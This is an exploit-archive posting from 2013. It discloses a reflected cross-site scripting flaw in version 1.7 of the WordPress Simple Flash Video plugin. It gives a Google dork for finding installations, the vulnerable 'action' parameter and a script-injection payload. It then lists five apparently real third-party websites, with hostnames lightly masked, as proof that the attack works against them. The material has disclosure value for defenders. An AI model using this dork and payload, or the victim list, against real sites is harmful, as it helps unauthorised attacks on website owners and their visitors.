Home / exploits

PDF

WordPress Simple Flash Video 1.7 Cross Site Scripting

Posted on 11 October 2013

_   __   _____    _____
   / /  / ____|  / ____|
   V /  | (___   | (___
   > <    \___    \___ 
  / .    ____) |  ____) |
 /_/ \_ |_____/  |_____/
#######################################################################
# Exploit Title : Wordpress Simple Flash Video Plugin Cross site scripting
#
# Exploit Author : Ashiyane Digital Security Team
#
# Google Dork : inurl:/wp-content/plugins/simple-flash-video
#
# Vendor Homepage : www.wordpress.org
#
# Software Link :
http://downloads.wordpress.org/plugin/simple-flash-video.1.7.zip
#
# Version : 1.7
#
# Tested on: Windows , Linux
#
# Date: 2013/10/09
#
##############
# Exploit : Cross site scripting
#
# Location1:
[Target]/wp-content/plugins/simple-flash-video/stats/?action=[xss]
#
# Method : Get
#
# Script For Test : "/><script>alert(1);</script>
#
##############
##############
# Prof:
#
#
http://www.bigspXortday.lv/wp-content/plugins/simple-flash-video/stats/?action=
"/><script>alert(1);</script>
#
#
http://www.leblogXbergamote.com/wp-content/plugins/simple-flash-video/stats/?action=
"/><script>alert(1);</script>
#
#
http://www.thesXoussegroup.com/wp-content/plugins/simple-flash-video/stats/?action=
"/><script>alert(1);</script>
#
#
http://www.switcXhdesign.com/wp-content/plugins/simple-flash-video/stats/?action=
"/><script>alert(1);</script>
#
#
http://www.whcXronicle.com/wp-content/plugins/simple-flash-video/stats/?action=
"/><script>alert(1);</script>
##############
#
# Discovered By : ACC3SS
#
##############

 

TOP